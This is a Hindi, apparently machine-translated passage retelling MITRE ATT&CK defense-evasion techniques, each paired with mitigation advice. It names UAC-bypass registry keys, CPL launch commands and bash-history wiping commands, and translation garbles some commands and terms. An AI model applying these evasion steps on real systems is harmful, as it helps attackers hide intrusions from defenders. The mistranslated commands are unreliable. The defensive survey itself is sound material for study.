रक्षा रक्षा

सभी भागों के लिंक:
भाग 1. प्रारंभिक पहुँच प्राप्त करना (प्रारंभिक पहुँच)
भाग 2. निष्पादन
भाग 3. बन्धन (दृढ़ता)
भाग 4. विशेषाधिकार वृद्धि
भाग 5. रक्षा चोरी
भाग 6. साख प्राप्त करना (क्रेडेंशियल एक्सेस)
भाग 7. खोज
भाग 8. पार्श्व आंदोलन
भाग 9. डेटा संग्रह (संग्रह)
भाग 10 बहिष्कार
भाग 11. कमान और नियंत्रण

"बाईपास संरक्षण" अनुभाग उन तकनीकों का वर्णन करता है जिनके द्वारा एक हमलावर दुर्भावनापूर्ण गतिविधि को छिपा सकता है और सुरक्षा साधनों द्वारा इसकी पहचान को रोक सकता है। हमले श्रृंखला के अन्य वर्गों से तकनीकों के विभिन्न प्रकार जो विशिष्ट बचाव को दूर करने में मदद करते हैं और बचाव पक्ष द्वारा उठाए गए निवारक उपायों को रक्षा बाईपास तकनीकों में शामिल किया गया है। बदले में, रक्षा बाईपास तकनीकों को एक हमले के सभी चरणों में लागू किया जाता है।

लेखक लेख में निर्धारित जानकारी को लागू करने के संभावित परिणामों के लिए जिम्मेदार नहीं है, और कुछ योगों और शर्तों में किए गए संभावित अशुद्धि के लिए भी माफी माँगता है। प्रकाशित जानकारी MITER ATT & CK की सामग्री का मुफ़्त रीटेलिंग है।

टोकन मैनीपुलेशन एक्सेस करें

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, प्रशासक
विवरण: हमलावर विभिन्न उपयोगकर्ता या सिस्टम सुरक्षा संदर्भों में कार्रवाई करने के लिए एक्सेस टोकन का उपयोग कर सकते हैं, इस प्रकार दुर्भावनापूर्ण गतिविधि का पता लगाने से बच सकते हैं। एक विरोधी, मौजूदा प्रक्रियाओं (टोकन चोरी) से एक्सेस टोकन की प्रतिलिपि बनाने के लिए विंडोज एपीआई फ़ंक्शन का उपयोग कर सकता है, इसके लिए उसे विशेषाधिकार प्राप्त उपयोगकर्ता (उदाहरण के लिए, एक व्यवस्थापक) के संदर्भ में होना चाहिए। एक्सेस टोकन की चोरी का उपयोग आमतौर पर प्रशासक से सिस्टम तक के विशेषाधिकार को बढ़ाने के लिए किया जाता है। एक दूरस्थ प्रणाली पर प्रमाणीकरण के लिए एक विरोधी अकाउंट एक्सेस टोकन का भी उपयोग कर सकता है, यदि इस खाते में रिमोट सिस्टम पर आवश्यक अनुमतियाँ हैं। पहुँच टोकन का दुरुपयोग करने के तीन मुख्य तरीके हैं।

टोकन की चोरी और प्रतिरूपण।
टोकन का प्रतिरूपण ओएस की क्षमता है जो थ्रेड को उस प्रक्रिया के संदर्भ के अलावा सुरक्षा संदर्भ में थ्रेड्स को प्रारंभ करने की क्षमता है। दूसरे शब्दों में, टोकन का उपयोग आपको किसी अन्य उपयोगकर्ता की ओर से कोई भी कार्य करने की अनुमति देता है। एक विरोधी एक डुप्लिकेटटोकनेक्स फ़ंक्शन का उपयोग करके एक्सेस टोकन को डुप्लिकेट कर सकता है और लॉग-इन उपयोगकर्ता के संदर्भ में एक थ्रेड को कॉल करने के लिए ImpersonateLoggedOnUser का उपयोग कर सकता है, या किसी स्ट्रीम पर एक्सेस टोकन असाइन करने के लिए SetThreadToken का उपयोग कर सकता है।

एक एक्सेस टोकन का उपयोग करके एक प्रक्रिया बनाएं।
एक हमलावर DuplicateTokenEX फ़ंक्शन का उपयोग करके एक पहुंच टोकन बना सकता है और फिर इसे एक नई प्रक्रिया बनाने के लिए CreateProcessWithTokenW के साथ उपयोग कर सकता है जो प्रतिरूपित उपयोगकर्ता के संदर्भ में चलता है।

पहुँच टोकन प्राप्त करना और लगाना।
एक विरोधी, जिसके पास एक उपयोगकर्ता नाम और पासवर्ड है, लॉगऑनसर एपीआई फ़ंक्शन का उपयोग करके एक लॉगिन सत्र बना सकता है, जो नए सत्र के सत्र एक्सेस टोकन की एक प्रति लौटाएगा, और फिर, सेटट्रेडट्रोकन फ़ंक्शन का उपयोग करके स्ट्रीम को प्राप्त टोकन असाइन करें।
Metasploit Metpreter और कोबाल्टस्ट्राइक में विशेषाधिकारों को बढ़ाने के लिए पहुंच टोकन में हेरफेर करने के लिए उपकरण हैं।

सुरक्षा सिफारिशें: उपरोक्त रणनीति का पूर्ण उपयोग करने के लिए, एक हमलावर के पास सिस्टम प्रशासक के अधिकार होने चाहिए, ताकि आम उपयोगकर्ताओं के विशेषाधिकारों को सीमित करना न भूलें। यदि कोई वैध साख है तो कोई भी उपयोगकर्ता टोकन एक्सेस कर सकता है। पहुँच टोकन बनाने के लिए उपयोगकर्ताओं और समूहों की क्षमता को सीमित करें:

GPO: कंप्यूटर कॉन्फ़िगरेशन> [नीतियाँ]> विंडोज सेटिंग्स> सुरक्षा सेटिंग्स> स्थानीय नीतियां> उपयोगकर्ता अधिकार असाइनमेंट: एक टोकन ऑब्जेक्ट बनाएँ ।

यह भी निर्धारित करें कि स्थानीय या नेटवर्क सेवाओं की प्रक्रिया टोकन को कौन बदल सकता है:
GPO: कंप्यूटर कॉन्फ़िगरेशन> [नीतियाँ]> विंडोज सेटिंग्स> सुरक्षा सेटिंग्स> स्थानीय नीतियां> उपयोगकर्ता अधिकार असाइनमेंट: एक प्रक्रिया स्तर टोकन को बदलें।

BITS जॉब्स बनाना (BITS Jobs)

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, प्रशासक, प्रणाली
विवरण: विंडोज बैकग्राउंड इंटेलिजेंट ट्रांसफर सर्विस (BITS) कम बैंडविड्थ का उपयोग करके घटक ऑब्जेक्ट मॉडल (COM) के माध्यम से अतुल्यकालिक रूप से फ़ाइलों को स्थानांतरित करने के लिए एक तंत्र है। बिट्स आमतौर पर updaters, तत्काल दूत और अन्य अनुप्रयोगों द्वारा उपयोग किया जाता है जो अन्य नेटवर्क अनुप्रयोगों के संचालन को बाधित किए बिना पृष्ठभूमि में काम करना पसंद करते हैं। फ़ाइल स्थानांतरण कार्यों को BITS कार्यों के रूप में दर्शाया जाता है, जिसमें एक या एक से अधिक फ़ाइल कार्रवाई की कतार होती है। BITS कार्यों को बनाने और प्रबंधित करने का इंटरफ़ेस PowerShell और BITSAdmin टूल में उपलब्ध है। हमलावर दुर्भावनापूर्ण कोड को निष्पादित करने के बाद डाउनलोड करने, लॉन्च करने और फिर साफ करने के लिए BITS का उपयोग कर सकते हैं। बिट्स कार्यों को स्वायत्त रूप से बिट्स डेटाबेस में संग्रहीत किया जाता है, जबकि सिस्टम नई फ़ाइलों या रजिस्ट्री प्रविष्टियों को नहीं बनाता है, अक्सर बिट्स को फ़ायरवॉल द्वारा अनुमति दी जाती है। BITS कार्यों का उपयोग करके, आप BITS कार्य या त्रुटि (OS को रीबूट करने के बाद सहित) के पूरा होने के बाद लंबे कार्य (डिफ़ॉल्ट रूप से 90 दिन) बनाकर या एक मनमाना कार्यक्रम कॉल करके सिस्टम में एक पायदान हासिल कर सकते हैं।

सुरक्षा सिफारिशें: बिट्स एक मानक ओएस कार्यक्षमता है, जिसका उपयोग दुर्भावनापूर्ण गतिविधि से अलग करना मुश्किल है, इसलिए सुरक्षा वेक्टर को हमले श्रृंखला की शुरुआत में दुर्भावनापूर्ण टूल के प्रक्षेपण को रोकने के लिए निर्देशित किया जाना चाहिए। BITS को पूरी तरह से अक्षम करने से वैध सॉफ़्टवेयर अपडेट बंद हो सकते हैं, हालाँकि, आप विशिष्ट उपयोगकर्ताओं और पहुँच समूहों के लिए BITS इंटरफ़ेस तक पहुँच को प्रतिबंधित करने पर विचार कर सकते हैं, और आप BITS कार्यों के जीवनकाल को सीमित कर सकते हैं, जो निम्न कुंजियों को बदलकर निर्धारित किया गया है:

• HKEY_LOCAL_MACHINE \ Software \ नीतियाँ \ Microsoft \ Windows \ BITS \ JobInactivityTimeout;
• HKEY_LOCAL_MACHINE \ Software \ नीतियाँ \ Microsoft \ Windows \ BITS \ MaxDownloadTime ।

बाइनरी डेटा पैकिंग (बाइनरी पैडिंग)

सिस्टम: विंडोज, लिनक्स, मैकओएस
विवरण: कुछ सुरक्षा सुविधाएँ स्थिर हस्ताक्षरों की खोज करके फाइलों को स्कैन करती हैं। विरोधियों ने स्कैन की गई फ़ाइल के अधिकतम अनुमेय आकार से अधिक मूल्य के लिए अपने आकार को बढ़ाने के लिए दुर्भावनापूर्ण फ़ाइलों में डेटा जोड़ सकते हैं या फ़ाइल के हैश को बदलकर कर सकते हैं ताकि हैश द्वारा फ़ाइलों के प्रक्षेपण को अवरुद्ध करने की काली सूची को बायपास किया जा सके।

सुरक्षा सिफारिशें: AppLocker , श्वेतसूची उपकरण और सॉफ़्टवेयर प्रतिबंध नीतियों जैसे टूल को लागू करके संभावित खतरनाक सॉफ़्टवेयर की पहचान प्रदान करें।

उपयोगकर्ता खाता नियंत्रण को बायपास करें

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, प्रशासक
विवरण: यूएसी को बायपास करने के कई तरीके हैं, जिनमें से सबसे आम यूएसीएमई परियोजना में कार्यान्वित किए जाते हैं। यूएसी को बायपास करने के नए तरीके नियमित रूप से खोजे जाते हैं, जैसे कि सिस्टम एप्लिकेशन Eventvwr.exe का दुरुपयोग करना, जो एक बाइनरी फ़ाइल या एक एलिवेटेड स्क्रिप्ट को निष्पादित कर सकता है। दुर्भावनापूर्ण कार्यक्रमों को विश्वसनीय प्रक्रियाओं में भी एम्बेड किया जा सकता है जिसके द्वारा यूएसी उपयोगकर्ता को संकेत दिए बिना विशेषाधिकार बढ़ाने की अनुमति देता है।

Eventvwr.exe का उपयोग करके UAC को बायपास करने के लिए, कुंजी को विंडोज रजिस्ट्री में संशोधित किया गया है:
[HKEY_CURRENT_USER] \ Software \ Classes \ mscfile \ shell \ open \ कमांड ।

Sdclt.exe का उपयोग करके UAC को बायपास करने के लिए, Windows रजिस्ट्री में कुंजियों को संशोधित किया गया है:
[HKEY_CURRENT_USER] \ Software \ Microsoft \ Windows \ CurrentVersion \ App पथ \ control.exe;
[HKEY_CURRENT_USER] \ Software \ Classes \ exefile \ shell \ runas \ command \ पृथकCommand।

सुरक्षा सिफारिशें: सुरक्षित सिस्टम पर स्थानीय व्यवस्थापक समूह के उपयोगकर्ताओं को निकालें। यदि संभव हो, तो UAC सेटिंग में उच्चतम स्तर की सुरक्षा सक्षम करें।

CMSTP (AppLocker ByPass - CMSTP)

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: Microsoft कनेक्शन प्रबंधक प्रोफ़ाइल इंस्टॉलर (cmstp.exe) विंडोज में निर्मित "कनेक्शन प्रबंधक प्रोफ़ाइल इंस्टॉलर" उपयोगिता है। Cmstp.exe एक पैरामीटर के रूप में एक inf-file ले सकता है, इसलिए एक हमलावर AppLocker और अन्य तालों को दरकिनार करके दूरस्थ सर्वर से DLL या स्क्रिप्टलेट (* .sct) को डाउनलोड करने और निष्पादित करने के लिए एक विशेष दुर्भावनापूर्ण INF तैयार कर सकता है, क्योंकि cmstp.exe एक Microsoft डिजिटल प्रमाणपत्र के साथ हस्ताक्षरित है।

सुरक्षा सिफारिशें: संभावित खतरनाक अनुप्रयोगों के प्रक्षेपण को अवरुद्ध करना। C: \ Windows \ System32 \ cmstp.exe लॉन्च करना पूरी तरह से मॉनिटर करना या बंद करना ।

क्लियर कमांड हिस्ट्री

सिस्टम: लिनक्स, macOS
अधिकार: उपयोगकर्ता
विवरण: macOS और लिनक्स सिस्टम पर उपयोगकर्ताओं की सुविधा के लिए, टर्मिनल में उपयोगकर्ता द्वारा निष्पादित सभी कमांड लॉग किए गए हैं। उपयोगकर्ता एक कमांड को जल्दी से निष्पादित कर सकते हैं जो उन्होंने पहले दूसरे सत्र में किया था। जब कोई उपयोगकर्ता सिस्टम पर लॉग ऑन करता है, तो कमांड इतिहास हिस्टीमर चर में निर्दिष्ट फ़ाइल में सहेजा जाता है। जब उपयोगकर्ता लॉग आउट करता है, तो कमांड इतिहास उपयोगकर्ता के होम डायरेक्टरी ~ / .bash_history में सहेजा जाता है। कमांड इतिहास फ़ाइल में स्पष्ट पाठ में उपयोगकर्ता द्वारा दर्ज किए गए पासवर्ड भी हो सकते हैं। हमलावर कमांड इतिहास फाइलों में पासवर्ड खोज सकते हैं और अपनी दुर्भावनापूर्ण गतिविधि को कमांड इतिहास में लिखे जाने से रोकने के लिए उपाय कर सकते हैं, उदाहरण के लिए:

परेशान इतिहास;
निर्यात HISTFILESIZE = 0;
इतिहास -c;
rm ~ / .bash_history।

सुरक्षा सिफारिशें: उपयोगकर्ताओं को bash_history फ़ाइलों को हटाने या लिखने से रोकना एक विरोधी को इन फ़ाइलों को दुरुपयोग करने से रोक सकता है, इसके अलावा, HISTFILE और HISTFILESIZE चर को संपादित करने के लिए उपयोगकर्ता के अधिकारों को प्रतिबंधित करना कमांड निष्पादन लॉग को संरक्षित करेगा।

कोड पर हस्ताक्षर

सिस्टम: विंडोज, मैकओएस
विवरण: कोड पर डिजिटल हस्ताक्षर करने से डेवलपर का प्रमाणीकरण होता है और गारंटी मिलती है कि फ़ाइल को संशोधित नहीं किया गया है। फिर भी, जैसा कि आप जानते हैं, प्रतिद्वंद्वी वैध बाइनरी फ़ाइलों के रूप में मैलवेयर को छिपाने के लिए हस्ताक्षर का उपयोग कर सकते हैं। डिजिटल हस्ताक्षर प्रमाण पत्र बनाए जा सकते हैं, एक हमलावर द्वारा छेड़छाड़ या चोरी की जा सकती है। पहली शुरुआत में सॉफ्टवेयर सत्यापन के लिए कोड पर हस्ताक्षर करने का उपयोग विंडोज, मैकओएस, ओएस एक्स में किया जाता है और प्लेटफॉर्म के विकेन्द्रीकृत संरचना के कारण लिनक्स में इसका उपयोग नहीं किया जाता है। कोड हस्ताक्षर प्रमाण पत्र का उपयोग सुरक्षा नीतियों को बायपास करने के लिए किया जा सकता है जिनके लिए केवल सिस्टम पर हस्ताक्षर किए गए कोड को निष्पादित करना आवश्यक है।

सुरक्षा सिफारिशें: सॉफ्टवेयर के "सफेद सूचियों" का उपयोग और एक डिजिटल हस्ताक्षर की पुष्टि करने से पहले विश्वसनीय सॉफ्टवेयर प्रकाशकों के चयन से संरक्षित प्रणाली में दुर्भावनापूर्ण या अविश्वसनीय कोड के निष्पादन को रोका जा सकता है।

घटक फर्मवेयर

सिस्टम: विंडोज
अधिकार: प्रणाली
विवरण: कुछ साइबर अपराधी कंप्यूटर घटकों से समझौता करने और उन पर दुर्भावनापूर्ण फर्मवेयर स्थापित करने के लिए परिष्कृत टूल का उपयोग कर सकते हैं जो ऑपरेटिंग सिस्टम या यहां तक ​​कि मुख्य सिस्टम फर्मवेयर (बायोस) के बाहर दुर्भावनापूर्ण कोड चलाएंगे। तकनीक में चमकती कंप्यूटर घटक होते हैं जिनमें अंतर्निहित अखंडता जांच प्रणाली नहीं होती है, उदाहरण के लिए, हार्ड ड्राइव। दुर्भावनापूर्ण फर्मवेयर के साथ एक उपकरण विफलताओं और हार्ड डिस्क के ओवरराइटिंग के बावजूद हमला किए गए सिस्टम तक निरंतर पहुंच प्रदान कर सकता है। तकनीक को सॉफ्टवेयर सुरक्षा और अखंडता नियंत्रण को दूर करने के लिए डिज़ाइन किया गया है।

COM लिंक और लिंक को इंटरसेप्ट करना (घटक ऑब्जेक्ट मॉडल अपहरण)

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: Microsoft घटक ऑब्जेक्ट मॉडल (COM) किसी ऑब्जेक्ट के इंटरैक्शन घटकों के आधार पर सॉफ़्टवेयर बनाने की एक तकनीक है, जिनमें से प्रत्येक का उपयोग एक साथ कई कार्यक्रमों में किया जा सकता है। हमलावर COM लिंक और लिंक को कैप्चर करके वैध कोड के बजाय निष्पादित किए जा सकने वाले दुर्भावनापूर्ण कोड को इंजेक्ट करने के लिए COM का उपयोग कर सकते हैं। COM ऑब्जेक्ट को इंटरसेप्ट करने के लिए, आपको विंडोज रजिस्ट्री में एक वैध सिस्टम घटक के लिंक को बदलने की आवश्यकता है। इस घटक के लिए एक और कॉल दुर्भावनापूर्ण कोड निष्पादित करेगा।

सुरक्षा सिफारिशें: इस हमले को रोकने के लिए निवारक उपायों की सिफारिश नहीं की जाती है, क्योंकि COM ऑब्जेक्ट ओएस का हिस्सा हैं और सिस्टम सॉफ़्टवेयर में स्थापित हैं। COM ऑब्जेक्ट में परिवर्तन ब्लॉक करना OS और सॉफ़्टवेयर की स्थिरता को प्रभावित कर सकता है। दुर्भावनापूर्ण और संभावित खतरनाक सॉफ़्टवेयर को ब्लॉक करने के लिए सुरक्षा वेक्टर की सिफारिश की जाती है।

नियंत्रण कक्ष आइटम

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, प्रशासक, प्रणाली
विवरण: युक्ति को पेलोड के रूप में मनमाने आदेशों को निष्पादित करने के लिए हमलावरों द्वारा विंडोज कंट्रोल पैनल के तत्वों का उपयोग करना है (उदाहरण के लिए, रिएवर वायरस)। दुर्भावनापूर्ण वस्तुओं को मानक नियंत्रण के रूप में प्रच्छन्न किया जा सकता है और फ़िशिंग अनुलग्नकों का उपयोग करके सिस्टम को वितरित किया जा सकता है। विंडोज सेटिंग्स को देखने और कॉन्फ़िगर करने के लिए उपयोगिताएँ एक्स-फाइल और विंडोज कंट्रोल पैनल तत्वों के सीपीएल-फाइल पंजीकृत हैं। CPL फाइलें वास्तव में नाम से हटाए गए DLL हैं जिन्हें निम्नलिखित तरीकों से चलाया जा सकता है:

• सीधे कमांड लाइन से: control.exe <file.cpl> ;
• shell32.dll से API फ़ंक्शन का उपयोग करना: rundll32.exe shell32.dll, Control_RunDLL <file.cpl> ;
• cpl फ़ाइल पर डबल क्लिक करें।

System32 में संग्रहीत पंजीकृत CPL स्वचालित रूप से विंडोज कंट्रोल पैनल में प्रदर्शित होते हैं और रजिस्ट्री में एक विशिष्ट पहचानकर्ता संग्रहीत होते हैं:

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ ControlPanel \ NameSpace

अन्य CPL के बारे में जानकारी, उदाहरण के लिए, cpl फ़ाइल का प्रदर्शन नाम और पथ, Cpls और अनुभाग के विस्तारित गुण खंड में संग्रहीत हैं:

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Control पैनल

शेल के माध्यम से लॉन्च किए गए कुछ सीपीएल खंड में पंजीकृत हैं:

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Controls फ़ोल्डर \ {name} \ shellex \ PropertySheetHandlers

सुरक्षा अनुशंसा: केवल सुरक्षित फ़ोल्डरों में (उदाहरण के लिए, C: \ Windows \ System32 ) नियंत्रण कक्ष आइटम फ़ाइलों के लॉन्च और भंडारण को प्रतिबंधित करें, सिस्टम में अनधिकृत परिवर्तनों को रोकने के लिए उपयोगकर्ता खाता नियंत्रण (UAC) और AppLocker को सक्षम करें। बेशक, एंटीवायरस सॉफ़्टवेयर का उपयोग।

DCShadow

सिस्टम: विंडोज
अधिकार: प्रशासक
विवरण: DCShadow ने अटैच किए गए सीडी के साथ बातचीत करने के लिए API कार्यक्षमता का उपयोग करके, अटैच किए गए नेटवर्क में एक नकली डोमेन कंट्रोलर बनाना शामिल है, एक हमलावर AD डेटा को संशोधित कर सकता है, जिसमें किसी भी डोमेन ऑब्जेक्ट, क्रेडेंशियल्स और कुंजियों में परिवर्तन शामिल हैं, जो कि CRM सिस्टम द्वारा अनइंस्टॉल किए गए हैं। हमले को लागू करने के लिए टूलकिट mimikatz का हिस्सा है। DCShadow का उपयोग SID- इतिहास इंजेक्शन हमले को करने और सिस्टम में आगे के समेकन के लिए बैकस्ट बनाने के लिए किया जा सकता है।

सुरक्षा सिफारिशें: यह देखते हुए कि DCShadow तकनीक AD डिज़ाइन सुविधाओं के दुरुपयोग पर आधारित है, सुरक्षा वेक्टर को हमले उपकरणों के प्रक्षेपण को रोकने के लिए निर्देशित किया जाना चाहिए। सीडी प्रतिकृति के नेटवर्क प्रतिकृति का विश्लेषण करके एक हमले का पता लगाया जा सकता है, जो हर 15 मिनट में चलता है, लेकिन शेड्यूल के बाहर हमलावर के कारण हो सकता है।

DLL खोज अवरोधन (DLL खोज आदेश अपहरण)

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, प्रशासक, प्रणाली
विवरण: तकनीक एल्गोरिथ्म में भेद्यता का दोहन करने में शामिल है, जो DLL फ़ाइलों को खोजने के लिए उन्हें काम करने की आवश्यकता होती है ( MSA2269637 )। अक्सर, DLL खोज निर्देशिका प्रोग्राम की कार्यशील निर्देशिका होती है, इसलिए हमलावर स्रोत DLL को उसी फ़ाइल नाम के साथ दुर्भावनापूर्ण के साथ बदल सकते हैं।

DLL खोजों पर दूरस्थ हमलों को तब किया जा सकता है जब प्रोग्राम दूरस्थ निर्देशिका में अपनी वर्तमान निर्देशिका को स्थापित करता है, उदाहरण के लिए, एक नेटवर्क साझा। इसके अलावा, हमलावर सीधे .manifest या .local फ़ाइलों को बदलकर DLL खोजने और लोड करने की विधि को बदल सकते हैं, जो DLL खोज मापदंडों का वर्णन करते हैं। यदि हमला किया गया कार्यक्रम उच्च स्तर के विशेषाधिकारों के साथ काम करता है, तो इसके द्वारा लोड किए गए दुर्भावनापूर्ण DLL को भी उच्च अधिकारों के साथ निष्पादित किया जाएगा। इस मामले में, तकनीक का उपयोग उपयोगकर्ता से प्रशासक या सिस्टम तक विशेषाधिकार बढ़ाने के लिए किया जा सकता है।

सुरक्षा सिफारिशें: दूरस्थ DLL लोडिंग को रोकें (Windows Server 2012 में डिफ़ॉल्ट रूप से सक्षम) और XP + और सर्वर 2003+ के अपडेट के साथ उपलब्ध)। DLL के लिए सुरक्षित खोज मोड को सक्षम करता है, जो वर्तमान एप्लिकेशन निर्देशिका में DLL खोज करने से पहले खोज निर्देशिका जैसे % SYSTEMROOT% को प्रतिबंधित करता है।

सुरक्षित DLL खोज मोड सक्षम करना:
कंप्यूटर कॉन्फ़िगरेशन> [नीतियाँ]> प्रशासनिक टेम्पलेट> MSS (लिगेसी): MSS: (SafeDllSearchMode) सुरक्षित DLL खोज मोड सक्षम करें।
पत्राचार रजिस्ट्री कुंजी:
HKLM \ SYSTEM \ CurrentControlSet \ Control \ Session Manager \ SafeDLLSearchMode।

PowerSploit में PowerUP जैसे उपकरणों का उपयोग करके DLL की कमियों को ठीक करने के लिए एक संरक्षित प्रणाली के ऑडिटिंग पर विचार करें। दुर्भावनापूर्ण और संभावित खतरनाक सॉफ़्टवेयर को अवरुद्ध करने के साथ-साथ Microsoft अनुशंसाओं का पालन ​​करना न भूलें।

DLL साइड लोडिंग

सिस्टम: विंडोज
विवरण: हमला साइड-बाय-साइड समानांतर निष्पादन तकनीक (WinSxS या SxS) की कमजोरियों पर आधारित है, जिसका सार समान कोड घटकों के असंगत संस्करणों का उपयोग करके अनुप्रयोगों को सक्षम करना है। घटक असेंबली रिपॉजिटरी c: \ windows \ winxs फ़ोल्डर में स्थित है। प्रत्येक असेंबली में इसके साथ एक मैनिफ़ेस्ट जुड़ा होना चाहिए - एक xml फ़ाइल जिसमें फ़ाइलों, कक्षाओं, इंटरफ़ेस, लाइब्रेरी और असेंबली के अन्य तत्वों के बारे में जानकारी होती है। DLL खोज को अपहृत करने की तकनीकों के समान, विरोधी किसी उपयोगकर्ता के एप्लिकेशन को "बाद में" दुर्भावनापूर्ण DLL लोड कर सकते हैं, जिस मार्ग को विधानसभा मेनिफ़ेस्ट फ़ाइल में निर्दिष्ट किया गया था।

% TEMP% \ RarSFX% \% ALLUSERS प्रोफ़ाइल% \ SXS;
% TEMP% \ RarSFX% \% ALLUSERS प्रोफ़ाइल% \ WinSxS।

सुरक्षा सिफारिशें: नियमित सॉफ़्टवेयर अपडेट, निर्देशिकाओं में एप्लिकेशन इंस्टॉल करना जो लेखन-संरक्षित हैं। देर लोडिंग कमजोरियों के लिए प्रकट फ़ाइलों की जाँच करने के लिए sxstrace.exe का उपयोग करना।

Deobfuscate / Decode फ़ाइलें या जानकारी

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: आक्रमणकारी दुर्भावनापूर्ण कोड और कलाकृतियों को आक्रमण से बचाने के लिए फ़ाइलों और सूचनाओं के उपयोग का उपयोग कर सकते हैं।ऐसी फ़ाइलों का उपयोग करने के लिए, विरोधियों ने फाइल या जानकारी को डीकोफसैकेट करने / डिकोड करने के लिए रिवर्स तकनीकों का उपयोग किया है। इस तरह के तरीकों में मैलवेयर, विभिन्न लिपियों या सिस्टम उपयोगिताओं का उपयोग शामिल हो सकता है, उदाहरण के लिए, सर्टिफिकेट फ़ाइल के अंदर छिपे रिमोट एक्सेस टूल की निष्पादन योग्य फ़ाइल को डीकोड करने के लिए सर्टिफिकेट यूटिलिटी का उपयोग करने के लिए एक ज्ञात विधि है। एक अन्य उदाहरण द्वेषी टुकड़ों को एक दुर्भावनापूर्ण पेलोड (पेलोड) में इकट्ठा करने के लिए कोपू / बी कमांड का उपयोग है।

पेलोड फ़ाइलों का पता लगाने से बचने के लिए संपीड़ित, संग्रहीत या एन्क्रिप्ट किया जा सकता है। कभी-कभी, एक उपयोगकर्ता कार्रवाई को हटाने या डिक्रिप्शन करने की आवश्यकता हो सकती है। दुर्भावनापूर्ण सामग्री के साथ संकुचित या एन्क्रिप्ट की गई फ़ाइल या स्क्रिप्ट को खोलने के लिए उपयोगकर्ता को एक पासवर्ड दर्ज करने की आवश्यकता हो सकती है।

सुरक्षा सिफारिशें: अनावश्यक सिस्टम उपयोगिताओं या संभावित खतरनाक सॉफ़्टवेयर की पहचान और अवरोधन, जिनका उपयोग AppLocker और सॉफ़्टवेयर प्रतिबंध नीतियों जैसे टूल का उपयोग करके फ़ाइलों को हटाने या डिक्रिप्ट करने के लिए किया जा सकता है।

सुरक्षा उपकरण अक्षम करना

सिस्टम: विंडोज, लिनक्स, मैकओएस
विवरण: हमलावर विभिन्न सुरक्षा उपकरणों को निष्क्रिय कर सकते हैं, इवेंट लॉगिंग प्रक्रियाओं, रजिस्ट्री कुंजी को नष्ट कर सकते हैं ताकि सुरक्षा उपकरण दुर्भावनापूर्ण गतिविधि के दौरान शुरू न हों, या सुरक्षा स्कैनर या इवेंट रिपोर्ट के संचालन में हस्तक्षेप करने के अन्य तरीकों का उपयोग करें।

सुरक्षा सिफारिशें: यह सुनिश्चित करें कि अनधिकृत वियोग या सुरक्षा उपकरणों के संचालन में हस्तक्षेप को रोकने के लिए प्रक्रियाओं, रजिस्ट्री और फाइलों तक पहुंच अधिकार को सही ढंग से कॉन्फ़िगर किया गया है।

रक्षा चोरी के लिए शोषण

सिस्टम: विंडोज, लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता
विवरण: किसी भी सॉफ्टवेयर के साथ, सुरक्षा सॉफ्टवेयर में कमजोरियां हो सकती हैं जो एक हमलावर उन्हें अक्षम या बायपास करने के लिए उपयोग कर सकते हैं।

सुरक्षा सिफारिशें: एक सॉफ्टवेयर भेद्यता प्रबंधन प्रक्रिया का नियमित सॉफ्टवेयर अपडेट, विकास और कार्यान्वयन। वर्चुअलाइजेशन और माइक्रो-सेगमेंटेशन अनुप्रयोगों का उपयोग करने से कमजोरियों के संभावित शोषण के जोखिम को कम किया जा सकता है।

EWM इंजेक्शन (अतिरिक्त विंडो मेमोरी इंजेक्शन)

सिस्टम: विंडोज
राइट्स: एडमिनिस्ट्रेटर, सिस्टम
विवरण: तकनीक विंडोज विंडो की अतिरिक्त मेमोरी, तथाकथित एक्स्ट्रा विंडो मेमोरी (EWM) का दुरुपयोग करने के लिए है। EWM का आकार 40 बाइट्स है, जो 32-बिट पॉइंटर को स्टोर करने के लिए उपयुक्त है और अक्सर इसका उपयोग प्रक्रियाओं के संदर्भ को इंगित करने के लिए किया जाता है। हमले की श्रृंखला के दौरान दुर्भावनापूर्ण कार्यक्रम EWM में दुर्भावनापूर्ण कोड के लिए एक पॉइंटर रख सकते हैं, जिसे बाद में संक्रमित आवेदन प्रक्रिया द्वारा लॉन्च किया जाएगा।

सुरक्षा सिफारिशें:यह देखते हुए कि EWM इंजेक्शन तकनीक OS विकास कार्यों के दुरुपयोग पर आधारित हैं, दुर्भावनापूर्ण कार्यक्रमों और दुर्भावनापूर्ण टूल के प्रक्षेपण को रोकने के लिए सुरक्षा प्रयासों को निर्देशित किया जाना चाहिए। AppLocker, श्वेतसूची अनुप्रयोगों का उपयोग करके या सॉफ़्टवेयर प्रतिबंध नीतियों को लागू करने वाले संभावित खतरनाक सॉफ़्टवेयर को पहचानने और अवरुद्ध करने के लिए यह अच्छा अभ्यास है।

फ़ाइलें हटाना (फ़ाइल हटाना)

सिस्टम: विंडोज, लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता
विवरण: विभिन्न उपकरण, मैलवेयर, और विरोधी द्वारा उपयोग की जाने वाली अन्य फाइलें सिस्टम में हैकर गतिविधि के निशान छोड़ सकती हैं। हमलावर एक आक्रमण के दौरान इन विरूपण साक्ष्य फ़ाइलों को हटा सकते हैं ताकि किसी हमले की संभावना का पता लगाया जा सके या उन्हें अपने ऑपरेशन के अंत में हटा दिया जा सके। सूचना की गारंटी विनाश (उदाहरण के लिए, विंडोज Sysinternals Sdelete), और OS में निर्मित उपकरण, उदाहरण के लिए DEL और ipher के लिए दोनों विशेष उपकरण का उपयोग कर सकते हैं।

सुरक्षा सिफारिशें: यदि संभव हो तो, अनावश्यक सिस्टम उपयोगिताओं, थर्ड-पार्टी टूल्स और संभावित खतरनाक सॉफ़्टवेयर के लॉन्च को ब्लॉक करें, जिनका उपयोग फ़ाइलों को नष्ट करने के लिए किया जा सकता है।

फ़ाइल सिस्टम लॉजिकल ऑफ़सेट्स का उपयोग करके फ़ाइलें पढ़ना

